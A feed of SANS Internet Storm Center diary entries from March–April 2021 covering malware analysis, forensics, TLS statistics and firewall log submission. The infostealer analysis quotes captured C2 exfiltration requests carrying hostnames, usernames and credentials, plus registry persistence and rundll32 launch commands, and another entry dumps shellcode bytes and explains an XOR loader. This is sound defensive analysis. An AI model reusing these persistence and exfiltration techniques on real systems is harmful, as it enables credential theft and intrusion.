Subscribe to SANS hírcsatorna SANS
SANS Internet Storm Center - Cooperative Cyber Security Monitor
Frissítve: 1 óra 27 perc
2021. április 5.

ISC Stormcast For Monday, April 5th, 2021, (Mon, Apr 5th)

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. április 4.

YARA and CyberChef: ZIP, (Sun, Apr 4th)

When processing the result of "unzip" in CyberChef, for example with YARA rules, all files contained inside the ZIP file, are concatenated together.

This is not a problem when dealing with a single file inside a ZIP container. But it can be for multiple files. If you want to know more, I recorded a video with more details:

Didier Stevens
Senior handler
Microsoft MVP

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. április 4.

Video: YARA and CyberChef, (Sat, Apr 3rd)

In diary entry "YARA and CyberChef", I explain how to use YARA rules together with CyberChef.

I created a video to illustrate this:

Didier Stevens
Senior handler
Microsoft MVP

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. április 2.

C2 Activity: Sandboxes or Real Victims?, (Fri, Apr 2nd)

In my last diary[1], I mentioned that I was able to access screenshots exfiltrated by the malware sample. During the first analysis, there were approximately 460 JPEG files available. I continued to keep an eye on the host and the number slightly increased but not so much. My diary conclusion was that the malware looks popular seeing the number of screenshots but wait… Are we sure that all those screenshots are real victims? I executed the malware in my sandbox and probably other automated analysis tools were used to detonate the malware in a sandbox. This question popped up in my mind: How do have an idea about the ratio of automated tools VS. real victims?

I grabbed all the pictures in a local directory and wrote some lines of Python to analyze them. The main question is: how to detect if the screenshot has been taken in a sandbox or a real system? What we can check:

  • The size of the screenshot (that matches the desktop)
  • The percentage of unified color (usually, sandbox don’t have open windows and a limited set of icons on the desktop).

To « translate » this into Python, I used the classic library to work on image: pillow[2]. extcolors is a small library that works directly on colors[3].

#!/usr/bin/python3 import extcolors import PIL import os folder="screenshots" for image in os.listdir(folder): img ="/"+image) width, height = img.size colors, pixel_count = extcolors.extract_from_image(img) if width <= 1024 and height <= 768: print("Possible sandbox: %s : Size: %dx%d" % (image, width, height)) else: for c in colors: hexcolor = '%02x%02x%02x' % c[0] percentage = (c[1] / pixel_count) * 100 if percentage > 93 and hexcolor < "f00000": print("Possible sandbox: %s : Color: %s (%6.2f%%)" % (image,hexcolor, percentage))

After some tests, I decided to "flag" a screenshot as coming from a sandbox if the screen resolution is below 1024x768 and if we have >93% of a dark color (to match the classic blue, black or green backgrounds. Let's execute the scripts against the collected pictures:

Possible sandbox: 152114211370.jpg : Color: 000000 ( 94.25%) Possible sandbox: 152117757583.jpg : Color: 000000 ( 98.20%) Possible sandbox: 152127051988.jpg : Color: 000000 ( 95.09%) Possible sandbox: 152178310978.jpg : Size: 1024x768 Possible sandbox: 152129950226.jpg : Size: 800x600 Possible sandbox: 152115117436.jpg : Size: 800x600 Possible sandbox: 152135496106.jpg : Color: c7b199 ( 99.23%) Possible sandbox: 152119090512.jpg : Color: 000000 ( 99.37%) Possible sandbox: 152129464868.jpg : Color: 2974c7 ( 94.60%) Possible sandbox: 152153616774.jpg : Size: 800x600 Possible sandbox: 152137277200.jpg : Size: 800x600 Possible sandbox: 152157989841.jpg : Size: 1024x768 ...

Here are the results:

Some detected sandboxes:


Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. április 2.

ISC Stormcast For Friday, April 2nd, 2021;id=7440, (Fri, Apr 2nd)

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. április 1.

ISC Stormcast For Thursday, April 1st, 2021;id=7438, (Thu, Apr 1st)

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. április 1.

April 2021 Forensic Quiz, (Thu, Apr 1st)


Today's diary is a forensic quiz for April 2021.  This month's quiz will also be a contest.  The prize is a Raspberry Pi.  Rules for the contest follow:

  • Only one submission per person.
  • The first person to submit the correct answers will win the Raspberry Pi.
  • Submissions will be made using the form on our contact page at:
  • Use April 2021 Forensic Quiz Submission for the Subject: line.
  • Provide the following information:
    • IP address of the infected Windows computer.
    • Host name of the infected Windows computer.
    • User account name on the infected Windows computer.
    • Date and time the infection activity began in UTC (the GMT or Zulu timezone).
    • The family or families of malware on the infected computer.

Material for this forensic quiz is located at this Github repository.  This repository contains a zip archive containing a pcap of network traffic from the infected Windows host.  The repository also contains another zip archive with malware and artifacts recovered from the infected Windows host.  Be very careful with the malware and artifacts zip because it has actual malware from a recently-infected Windows computer.  If you don't know what you're doing, do not download the malware and artifacts.  I always recommend people do this quiz in a non-Windows environment, if possible.

Shown above:  A meme about usernames and passwords on an infected Windows host.


Analysis of the infection traffic requires Wireshark or some other pcap analysis tool.  Wireshark is my tool of choice to review pcaps of infection traffic.  However, default settings for Wireshark are not optimized for web-based malware traffic.  That's why I encourage people to customize Wireshark after installing it.  To help, I've written a series of tutorials.  The ones most helpful for this quiz are:

I always recommend participants use a non-Windows environment like BSD, Linux, or macOS.  Why?  Because most pcaps in these traffic analysis quizzes contain traffic with Windows-based malware.  If you're using a Windows host to review such pcaps, your antivirus (or Windows Defender) may delete or alter the pcap.  Worst case?  If you extract malware from a pcap and accidentally run it, you might infect your Windows computer.

Analysis of the malware and artifacts should also be done in a non-Windows environment, unless you are a skilled malware analyst.  However, reviewing the malware and artifacts in a non-Windows environment like Linux shouldn't pose any problems.  Feel free to search for (or submit) malware from this quiz on sites like:

Most of the above sites require some sort of account to log in and search for samples.  Some of these sites provide free accounts that only require a valid email address.  Alternatively, search Google or other search engines for the SHA256 hashes of malware samples from this quiz.  You might get links from the above sites in your search results.

Active Directory (AD) Environment

The infected Windows host is part of an AD environment, so the pcap contains information about the Windows user account. The user account is formatted as firstname.lastname.  The AD environment characteristics are:

  • LAN segment range: ( through
  • Domain:
  • Domain Controller: - Cliffwater-DC
  • LAN segment gateway:
  • LAN segment broadcast address:

Final Words

Again, the zip archive with a pcap of the traffic for this exercise is available in this Github repository.  The winner of today's contest and analysis of the infection will be posted in an upcoming ISC diary two weeks from today on Wednesday April 14th.

I think the Raspberry Pi is an older model like a Raspberry Pi 2 or Raspberry Pi 3, but I will find out and update or add a comment to this diary.


Brad Duncan
brad [at]

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. március 31.

Quick Analysis of a Modular InfoStealer, (Wed, Mar 31st)

This morning, an interesting phishing email landed in my spam trap. The mail was redacted in Spanish and, as usual, asked the recipient to urgently process the attached document. The filename was "AVISO.001" (This extension is used by multi-volume archives). The archive contained a PE file with a very long name: AVISO11504122921827776385010767000154304736120425314155656824545860211706529881523930427.exe (SHA256:ff834f404b977a475ef56f1fa81cf91f0ac7e07b8d44e0c224861a3287f47c8c). The file is unknown on VT at this time so I did a quick analysis.

It first performs a quick review of the target and exfiltrates the collected information:

POST /7Ndd3SnW/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176[.]111[.]174[.]67 Content-Length: 83 Cache-Control: no-cache id=152140224449&vs=2.11&sd=c5c741&os=9&bi=1&ar=1&pc=WIN7X64&un=user01&dm=&av=0&lv=0

You can see the name of the computer ("pc="), the user ("un="). No AV is running (av=0). There is an ID (randomly generated) and a version of the malware or campaign? ("vs=").

The next step is to drop itself into C:\ProgramData\011ab573a3\rween.exe. This malware is modular and downloads two DLLs located on the C2 server:

Those DLLs are known on VT [1][2]:

remnux@remnux:/MalwareZoo/20210331$ shasum -a 256 *.dll 6f917b86c623a4ef2326de062cb206208b25d93f6d7a2911bc7c10f7c83ffd64 cred.dll 3d0efa67d54ee1452aa53f35db5552fe079adfd14f1fe312097b266943dd9644 scr.dll

Persistence is achieved via a new registry key. Any shortcut created to the location pointed by a subkey Startup will launch the service during logon/reboot.

"C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\ProgramData\011ab573a3\

DLLs are not loaded into the main program with LoadLibrary() but there are launched from rundll32:

"C:\Windows\System32\rundll32.exe" C:\ProgramData\5eba991cccd123\cred.dll, Main "C:\Windows\System32\rundll32.exe" C:\ProgramData\5eba991cccd123\scr.dll, Main

Once the DLLs are launched, the exfiltration of data starts:

cred.dll is responsible for searching credentials. Example of probes detected:

  • Outlook (HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook)
  • FileZilla (C:\Users\user01\AppData\Roaming\FileZilla\sitemanager.xml)
  • Purple (C:\Users\user01\AppData\Roaming\.purple\accounts.xml)

Data is then exfiltrated:

POST //7Ndd3SnW/index.php HTTP/1.1 Host: Content-Length: 21 Content-Type: application/x-www-form-urlencoded id=152140224449&cred=

(In my sandbox, my credentials was available)

scr.dll is used to take screenshots at regular interval and also exfiltrate them:

POST //7Ndd3SnW/index.php?scr=up HTTP/1.1 Host: User-Agent: Uploador Content-Type: multipart/form-data; boundary=152140224449.jpg Connection: Keep-Alive Content-Length: 34758 --152140224449.jpg Content-Disposition: form-data; name="data"; filename="152140224449.jpg" Content-Type: application/octet-stream ......JFIF.............C.......... (data removed)

Note the nice User-Agent: "Uploador". I found references to this string back in 2015![3].

Here is a screenshot of the C2 panel, a good old Amadey:

Even if the malware looks old-fashioned, it remains effective and already made some victims. I found a lot of screenshots (461) on the C2 server:


Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. március 31.

ISC Stormcast For Wednesday, March 31st, 2021;id=7436, (Wed, Mar 31st)

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. március 30.

Old TLS versions - gone, but not forgotten... well, not really "gone" either, (Tue, Mar 30th)

With the recent official deprecation of TLS 1.0 and TLS 1.1 by RFC 8996[1], a step, which has long been in preparation and which was preceded by many recommendations to discontinue the use of both protocols (as well as by the removal of support for them from all mainstream web browsers[2]), one might assume that the use of old TLS versions on the internet would have significantly decreased over the last few months. This has however not been the case.

According to Shodan, at the time of writing, TLS 1.0 and TLS 1.1 are still supported by over 50% of web servers on the internet (50.15% and 50.08% respectively). We’ll leave aside the potentially much more problematic 7.2% of web servers that still support SSL 3.0 and 1.6% of servers that support SSL 2.0...

What is interesting about the percentages for TLS 1.0 and TLS 1.1 is that both are almost the same as they were six months ago. As the following chart shows, there appeared to be a fairly significant decrease in support of both protocols between the second half of October 2020 and the end of January 2021, which was however followed by a later sharp increase, after which the percentages plateaued at around the current values.

The still significant support for TLS 1.1 and TLS 1.0 is hardly too big a problem, since, although these protocols can’t be called “secure” by today’s standards, most browsers won’t use them unless specifically configured to do so. The fact that the percentage of publicly accessible web servers, which still support the historical TLS versions, didn’t decrease significantly in the last six months is, however, certainly noteworthy.

To end on a positive note, TLS 1.3 is now supported by over 25% of web servers (25.22% to be specific), as you may have noticed in the first chart. It seems that even if old TLS versions will not leave us any time soon, support for the new and secure version of the protocol is certainly slowly increasing[3].


Jan Kopriva
Alef Nula

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. március 30.

ISC Stormcast For Tuesday, March 30th, 2021;id=7434, (Tue, Mar 30th)

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. március 29.

Jumping into Shellcode, (Mon, Mar 29th)

Malware analysis is exciting because you never know what you will find. In previous diaries[1], I already explained why it's important to have a look at groups of interesting Windows API call to detect some behaviors. The classic example is code injection. Usually, it is based on something like this:

1. You allocate some memory
2. You get a shellcode (downloaded, extracted from a specific location like a section, a resource, ...)
3. You copy the shellcode in the newly allocated memory region
4. You create a new threat to execute it.

But it's not always like this! Last week, I worked on an incident involving a malicious DLL that I analyzed. The technique used to execute the shellcode was slightly different and therefore interesting to describe it here.

The DLL was delivered on the target system with an RTF document. This file contained the shellcode:

remnux@remnux:/MalwareZoo/20210318$ suspicious.rtf 1 Level 1 c= 3 p=00000000 l= 1619 h= 143; 5 b= 0 u= 539 \rtf1 2 Level 2 c= 2 p=00000028 l= 91 h= 8; 2 b= 0 u= 16 \fonttbl 3 Level 3 c= 0 p=00000031 l= 35 h= 3; 2 b= 0 u= 5 \f0 4 Level 3 c= 0 p=00000056 l= 44 h= 5; 2 b= 0 u= 11 \f1 5 Level 2 c= 0 p=00000087 l= 33 h= 0; 4 b= 0 u= 2 \colortbl 6 Level 2 c= 0 p=000000ac l= 32 h= 13; 5 b= 0 u= 5 \*\generator 7 Remainder c= 0 p=00000655 l= 208396 h= 17913; 5 b= 0 u= 182176 Whitespace = 4878 NULL bytes = 838 Left curly braces = 832 Right curly braces = 818

This file is completely valid from an RTF format point of view, will open successfully, and render a fake document. But the attacker appended the shellcode at the end of the file (have a look at stream 7 which has a larger size and a lot of unexpected characters ("u="). Let's try to have a look at the shellcode:

remnux@remnux:/MalwareZoo/20210318$ suspicious.rtf -s 7 | head -20 00000000: 0D 0A 00 6E 07 5D A7 5E 66 D2 97 1F 65 31 FD 7E ...n.].^f...e1.~ 00000010: D9 8E 9A C4 1C FC 73 79 F0 0B DA EA 6E 06 C3 03 00000020: 27 7C BD D7 23 84 0B BD 73 0C 0F 8D F9 DF CC E7 '|..#...s....... 00000030: 88 B9 97 06 A2 F9 4D 8C 91 D1 5E 39 A2 F5 9A 7E ......M...^9...~ 00000040: 4C D6 C8 A2 2D 88 D0 C4 16 E6 2B 1C DA 7B DD F7 L...-.....+..{.. 00000050: C4 FB 61 34 A6 BE 8E 2F 9D 7D 96 A8 7E 00 E2 E8 ..a4.../.}..~... 00000060: BB A2 D9 53 1C F3 49 81 77 93 30 16 11 9D 88 93 ...S..I.w.0..... 00000070: D2 6C 9D 56 60 36 66 BA 29 3E 73 45 CE 1A BE E3 .l.V`6f.)>sE.... 00000080: 5A C7 96 63 E0 D7 DF C9 21 2F 56 81 BD 84 6C 2D Z..c....!/V...l- 00000090: CF 4C 4E BE 90 23 47 DC A7 A9 8E A2 C3 A3 2E D1 .LN..#G.........

It looks encrypted and a brute force of a single XOR encoding was not successful. Let's see how it works in a debugger.

First, the RTF file is opened to get a handle and its size is fetched with GetFileSize(). Then, a classic VirtualAlloc() is used to allocate a memory space equal to the size of the file. Note the "push 40" which means that the memory will contain executable code (PAGE_EXECUTE_READWRITE):


Usually, the shellcode is extracted from the file by reading the exact amount of bytes. The malware jumps to the position of the shellcode start in the file and reads bytes until the EOF. In this case, the complete RTF file is read then copied into the newly allocated memory:

This is the interesting part of the code which processes the shellcode:

The first line "mov word ptr ss:[ebp-18], 658" defines where the shellcode starts in the memory map. In a loop, all characters are XOR'd with a key that is generated in the function desktop.70901100. The next step is to jump to the location of the decoded shellcode:

The address where to jump is based on the address of the newly allocated memory (0x2B30000) + the offset (658). Let's have a look at this location (0x2B30658):

Sounds good, we have a NOP sled at this location + the string "MZ". Let's execute the unconditional JMP:

We reached our shellcode! Note the NOP instructions and also the method used to get the EIP:

02B30665 | E8 00000000 | call 2B3066A | call $0 02B3066A | 5B | pop ebx |

Now the shellcode will execute and perform the next stages of the infection...


Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. március 29.

ISC Stormcast For Monday, March 29th, 2021;id=7432, (Mon, Mar 29th)

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. március 28.

TCPView v4.0 Released, (Sun, Mar 28th)

TCPView is a Sysinternals' tool that displays information about the TCP and UDP endpoints on a system. It's like netstat, but with a GUI.

This new version brings some major new features: service identification, creation time and searching:

Didier Stevens
Senior handler
Microsoft MVP

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. március 27.

Malware Analysis with elastic-agent and Microsoft Sandbox, (Fri, Mar 26th)

Microsoft describes the "Windows Sandbox supports simple configuration files, which provide a minimal set of customization parameters for Sandbox. [...] Windows Sandbox configuration files are formatted as XML and are associated with Sandbox via the .wsb file extension."[6]

Since both, the latest version elastic-agent (7.11+) support antivirus detection, I followed the instructions listed here [1] to configure an agent to test its detection capabilities. For my workstation, I used VMware with a fully patched Windows 10 and saved the current configuration with a snapshot. I wanted to combine both of these features; the elastic-agent and the Microsoft sandbox feature [4][5][6] to analyze my malware sample. Since the Microsoft sandbox doesn't retain anything after it is shutdown, I figure this would be a good alternative vs. restoring my previous VMware snapshot every time I tested a suspicious filename.

One minor inconvenient, if I want to use the agent, I need to add it every time to Elasticsearch to use it. If the elastic-agent isn't installed, Microsoft Defender is enabled. Here is a list of tools to either install or consider installing in the sandbox when it starts:

  • Elastic-agent with malware policy (in VMware client and Sandbox client)
  • MS SysMon
  • MS TCPView
  • Consider adding: PowerShell Script Block Logging, example here
  • Wireshark to capture traffic from host
  • Other browsers: Chrome & Firefox
  • PeStudio
  • Python
  • Internet Services Simulation Suite: INetSim
  • Didier Stevens suite of tools
  • Proxy setup on VMware client to monitor traffic
  • Any other tools you might find useful during the analysis such as this package by

When starting the sandbox, using a script configured for this purpose, it can automatically load the tools needed with a batch file (MalwareAnalysis.wsb). Here is my example:


Because everything is deleted when you shutdown the sandbox (including the browser, it must be reloaded with the current version every time), I needed a way to automatically start/add/load/update what I needed to perform some basic analysis. I use a batch file I preconfigured with everything I needed to accomplish this task. Here is what I have (C:\Sandbox\SBConfig.bat):

REM Copy elastic-agent to C:\Program Files
C:\Windows\System32\xcopy.exe /i /s C:\Users\WDAGUtilityAccount\Desktop\Sandbox\elastic-agent "C:\Program Files\elastic-agent"

REM Install Sysmon64, vcredist_x86
C:\Users\WDAGUtilityAccount\Desktop\Sandbox\Sysmon64.exe -i -accepteula
C:\Users\WDAGUtilityAccount\Desktop\Sandbox\vcredist_x86.exe /q

REM Add Elastic certificate authority to Sandbox
C:\Windows\System32\certutil.exe -addstore root C:\Users\WDAGUtilityAccount\Desktop\Sandbox\ca.crt
C:\Windows\System32\certutil.exe -addstore root C:\Users\WDAGUtilityAccount\Desktop\Sandbox\stargate.crt

REM Install new Microsoft Edge
start /wait C:\Users\WDAGUtilityAccount\Desktop\Sandbox\MicrosoftEdgeEnterpriseX64.msi /quiet /norestart

REM Install Python
C:\Users\WDAGUtilityAccount\Desktop\Sandbox\python-3.9.2-amd64.exe /quiet InstallAllUsers=1 PrependPath=1 Include_test=0

REM Execute PowerShell scripts
Powershell.exe -executionpolicy remotesigned -File C:\Users\WDAGUtilityAccount\Desktop\Sandbox\ChangeExecutionPolicy.ps1
Powershell.exe -executionpolicy remotesigned -File C:\Users\WDAGUtilityAccount\Desktop\Sandbox\ScriptBlockLogging.ps1

REM Install Wireshark
REM Install npcap manually. Silent only supported with OEM
C:\Users\WDAGUtilityAccount\Desktop\Sandbox\Wireshark-win64-3.4.4.exe /S /D /desktopicon=yes

The file npcap is last because I'm using the free edition vs. the OEM which will ask to finish the installation after it starts the installer. Before you can enable ScriptBlockLogging in the Sandbox, I need to enable the PowerShell ExecutionPolicy to allow RemoteSigned. This is the command in my script to make that change (ChangeExecutionPolicy.ps1):

Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Force

To verify the change was applied, as PowerShell admin, execute the following command:

Get-ExecutionPolicy -List

Producing the following result:

Following the example listed here in this Elastic blog, it is time to create a policy, add the elastic-agent to Elasticsearch (pre-copied with the batch file SBConfig.bat) to run the sample file and monitor its activity. This is the four application part of the policy I configured for my agent:

After launching the script MalwareAnalysis.wsb to start the Sandbox, load, copy and install all the applications from the batch file, it is time to add the elastic-agent to the server, I am ready to launch the suspected malware file for analysis. Last month, my honeypot was uploaded a crypto miner file photo.scr and I'm going to use this file to submit the elastic-agent for analysis.

→ To view the results in Kibana, navigate Security -> Overview -> Detection alert trend
I look for activity that would indicate an alert triggered by malware and filter for the value, then View alerts to examine the flow of the activity. I can then select Analyze the content as to what this photo.scr file accessed or installed on the client. The agent captured 3 alerts:

Next is to expand one of those alerts and analyze the activity, the elastic-agent identified: 1 library, 53 networks and 7 registry:

Network Activty

Registry Activity

Each one of the can be expanded to drill further into what happened on the host.

Indicator of Compromise

807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d  Photo.scr
[2021-02-08 07:06:36] [1693] [ftp_21_tcp 29914] [] info: Stored 1578496 bytes of data



This is one of many tasks Windows Sandbox could be used such as accessing suspicious sites, running untrusted software and scripts starting with Windows network or vGPU disable, without the fear of impacting your normal Windows installation. These various tasks can be accomplished by creating  separate .wsb Sanbox script.


Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. március 26.

Apple releases iOS 14.4.2 to address "universal cross site scripting" in Webkit, (Fri, Mar 26th)

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. március 26.

ISC Stormcast For Friday, March 26th, 2021;id=7430, (Fri, Mar 26th)

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. március 26.

Office macro execution evidence, (Fri, Mar 26th)

Microsoft Office Macros continue to be the security nightmare that they have been for the past 3 decades. System and security admins everywhere continue to try to protect their users from prevalent macro malware, but they find Microsoft's tooling often less than helpful.

Case in point, the Microsoft page that describes how to disable macros sports this useful warning:

If only life were so easy.... The only two people who will ever be "sure" what a macro is doing are its original developer, and the malware analyst who just reverse engineered it. And I'm actually even doubtful about the developer.  

Considering how shaky and often bypassed the avialable mechanisms are to control macro usage, we would expect to at least see some decent instrumentation that allows us to log, monitor and reproduce "what happened". But... no. There are hardly any useful logs. Which over the years led to a plethora of work-arounds, YARA rules, Powershell scripts, and reverse engineering. 

This week, I had the "joy" of doing a bit of the latter, while investigating an incident. One of the few places where macro execution leaves traces is in the "TrustRecords" entry in the registry:

HKCU:\SOFTWARE\Microsoft\Office\16.0\Word\Security\Trusted Documents\TrustRecords
HKCU:\SOFTWARE\Microsoft\Office\16.0\Excel\Security\Trusted Documents\TrustRecords
HKCU:\SOFTWARE\Microsoft\Office\16.0\PowerPoint\Security\Trusted Documents\TrustRecords

The version number (16.0) might vary depending on your Office installation. Whether, when and how the keys get populated also depends on the "Trust Center" setting as described in the Microsoft link above.

But in general, the registry entries will look something like this:


The rightmost value (00 or 7f) indicates which trust center warning the user clicked away. "00" means "Open for Editing" and "7F" means "Allow Macros to Run". The other hex values encode, amongst other data, the original creation time stamp of the file whose name is shown. This can be extremely helpful when you need to determine the exact time of original download, if the file came from a shady source. In combination with the file name, this can be the "pivot points" that you need in an incident to go hunting in proxy or email logs, to determine how that file got to the user in the first place. 

Volatility has support to extract this information, but if you are forensicating on a live system, you can also wing it with Powershell in a pinch:

$regkeys =  'HKCU:\SOFTWARE\Microsoft\Office\16.0\Word\Security\Trusted Documents\TrustRecords',
            'HKCU:\SOFTWARE\Microsoft\Office\16.0\Excel\Security\Trusted Documents\TrustRecords',
            'HKCU:\SOFTWARE\Microsoft\Office\16.0\PowerPoint\Security\Trusted Documents\TrustRecords'
foreach ($key in $regkeys) {
        try {$item = Get-Item $key -erroraction stop} catch { $item = "" }
        foreach ($line in $ {
            $values = $item.getvalue($line)
            if ($values[-1] -gt 0) {$type="RUN"} else {$type="EDIT"}
            $timestamp = [datetime]::FromFileTimeUtc([System.BitConverter]::ToUint64($values,0))
            Write-Output "$line $timestamp $type"

Yep, not exactly the most beautiful code. It ain't my fault that Microsoft insists on using 64bits for a time stamp, nor that converting such a value back into human readable time is so convoluted in Powershell :).

In my case, for the registry screenshot shown above, the Powershell spits out the following

%USERPROFILE%/Downloads/invoice%2058633.xls 03/24/2021 23:52:21 RUN
%USERPROFILE%/Downloads/Invoice%2038421.xls 03/22/2021 23:45:42 EDIT
%USERPROFILE%/Downloads/Invoice%2094377.xls 03/22/2021 21:02:04 EDIT

which tells me that the file I want is "invoice 58633.xls", because for it, Macros were allowed to run. It also gives me a timestamp for when the user made the download - March 24, 23:52 UTC. 

If you have savvy ways of keeping track of or analyzing macro execution in your environment, please let us know, or share in the comments below.

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. március 25.

ISC Stormcast For Thursday, March 25th, 2021;id=7428, (Thu, Mar 25th)

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.
2021. március 25.

Submitting pfSense Firewall Logs to DShield, (Thu, Mar 25th)

In my previous diaries, I wrote about pfSense firewalls [1], [2]. I hope the diaries have given some insight to current pfSense users, and also inspire individuals who have yet to deploy any form of information security mechanisms in their homes/personal networks to do so. At the SANS Internet Storm Center, we welcome interested participants to submit firewall logs to DShield [3]. In this diary entry, I would like to share how to do so if you are using a pfSense firewall. I also highlight some minor issues I discovered when I was trying set up the DShield pfSense client, and how to resolve them so you can send your logs to DShield successfully. Please remember to do a config backup on your pfSense firewall before changing anything, and test the changes made in a test network before deploying them into the production environment. At this point of writing, all configuration and testing were done on pfSense 2.5.0-RELEASE Community Edition.

1) Configure pfSense E-Mail Settings
E-Mail settings inside the pfSense Notifications menu have to be enabled if you want to submit your pfSense firewall logs to DShield. To navigate to the appropriate settings page, please go to “System > Advanced > Notifications”. Figure 1 shows the corresponding screenshot, and also some sample settings if you are using Google Mail. When the corresponding details have been added, scroll down and select “Save” first. After that, click on “Test SMTP Settings” and see if you received the test e-mail. Please use the e-mail address that you have registered with the SANS Internet Storm Center.

Figure 1: SMTP Settings on pfSense (Google Mail is being used here)

Note: You have to save the details before testing the SMTP settings. There is currently a bug in pfSense that loads the wrong password if you test SMTP settings and subsequently save them [4].
If you are using Google Mail, you may get an error message about SMTP failure and that the test e-mail could not be sent. Following that, you may receive an e-mail from Google that a sign-in attempt was blocked. If you follow on the error code, it will lead to a Google Account Help page that states “Less secure app access” may have to be enabled as 2-step verification is not enabled. If you do get this, please enable 2-step verification, configure an App password to use for the E-Mail settings in pfSense, and then complete Google’s Display Unlock Captcha [5]. For a detailed explanation on how to configure an App password, it can be found here [6]. It is highly not recommended to enable less secure app access, and it is always a good security practice to use two-factor authentication (2FA) when logging in to your accounts.

2) Create a new directory to store DShield files
It was recommended that the DShield files to be put at a convenient directory (/root/bin/). In a default installation of pfSense, there is no /bin directory inside /root. As such, it has to be created manually. To do so, navigate over to the pfSense WebGUI Command Prompt. To go to the page, navigate to “Diagnostics > Command Prompt”. Type in the command mkdir /root/bin/ under the “Execute Shell Command” section. Figure 2 below shows successful execution of the command.

Figure 2: Creation of /root/bin/ directory

3) Download and edit DShield pfSense Client

It is now time to prepare 2 files that are required to be copied to your pfSense firewall – dshield.php and dshield.sample (dshield.sample will have to be renamed to dshield.ini after relevant details are filled in). They can be downloaded from Johannes Ullrich’s GitHub repository over here [7]. There are multiple ways of loading these 2 files into the firewall, such as via SSH, SCP or even via a direct curl command. However, since dshield.sample has to be modified and renamed before it can be used by dshield.php, I will be modifying the files locally on a computer before uploading them via pfSense WebGUI Command Prompt page (if you prefer to modify them directly on the firewall via SSH or direct interaction via the firewall, by all means. However, I personally prefer to finalize file edits before pushing them to the firewall). With reference to Figure 3, edit lines 4, 5 and 6 of dshield.sample with your SANS Internet Storm Center details (these can be found when you go to Please refer to Figure 4 to see the information required for Line 4 and Line 6). You will also need to edit line 13 and input the IP address that you are sending the firewall logs from (i.e. your public IP address). This is to prevent your IP address from being blocked/reported as an offender if some outgoing traffic is blocked within your network (e.g. NTP, or some other traffic due to security policies).

Figure 3: Details to be amended in dshield.sample (to be renamed to dshield.ini)

Figure 4: User ID # and API Key Details for dshield.sample (to be renamed to dshield.ini)

You will need to ensure that the interfaces name (Line 9) matches the alias name of your WAN interface (with reference to Figure 5, and this information can be retrieved at https://<yourpfsenseipaddress>/status_interfaces.php). By default, if it was not amended when pfSense was first installed, you should not need to amend Line 9 of dshield.sample.

Figure 5: WAN Name for Line 9 in dshield.sample (to be renamed to dshield.ini)

Finally, remember to rename dshield.sample to dshield.ini (do not forget this, or else dshield.php will not work).

4) Upload dshield.php and dshield.ini to your pfSense firewall

Finally, we can now upload dshield.php and dshield.ini into your pfSense firewall. We will use the pfSense WebGUI Command Prompt page to upload the 2 files. Under the “Upload File” section, browse to where dshield.php and dshield.ini was saved on your computer and select “Upload” (please refer to Figures 6 and 7).

Figure 6: dshield.php Uploaded to pfSense Firewall

Figure 7: dshield.ini Uploaded to pfSense Firewall

They will first end up in the /tmp directory. Type in the following commands (without quotes) “mv /tmp/dshield.ini /root/bin/“ and “mv /tmp/dshield.php /root/bin/” under the “Execute Shell Command” section of the pfSense WebGUI Command Prompt page to move them into the /root/bin/ directory (Figure 8 and 9 shows the commands being executed successfully).

Figure 8: Execution of command (without quotes) “mv /tmp/dshield.ini /root/bin/“

Figure 9: Execution of command (without quotes) “mv /tmp/dshield.php /root/bin/”

5) Make dshield.php executable, and add a Cron Job

We also have to make dshield.php executable. With reference to Figure 10, the command (without quotes) “chmod +x /root/bin/dshield.php” is executed.

Figure 10: Making dshield.php Executable

Finally, to ensure that firewall logs are regularly sent to DShield, a cron job for dshield.php has to be scheduled. There are a few ways to schedule such a job. For example, you could SSH into your pfSense firewall and run the command (without quotes) “crontab -e”, and add the line (without quotes) “11,41 * * * * /root/bin/dshield.php” (this means at 11th and 41st minute of the hour, dshield.php is executed). However, if we are strictly using the pfSense WebGUI Command Prompt, “crontab -e” would not work as the WebGUI Command Prompt does not support interactive sessions. As such, we will install the “Cron” package that is located under “System > Package Manager > Available Packages”. If you had previously installed the Cron package, this step can be skipped.

Figure 11: Installing pfSense Cron Package

After Cron is installed, it can be found under “Services > Cron” (please refer to Figure 12 for an illustration).

Figure 12: Location of pfSense Cron Menu Item

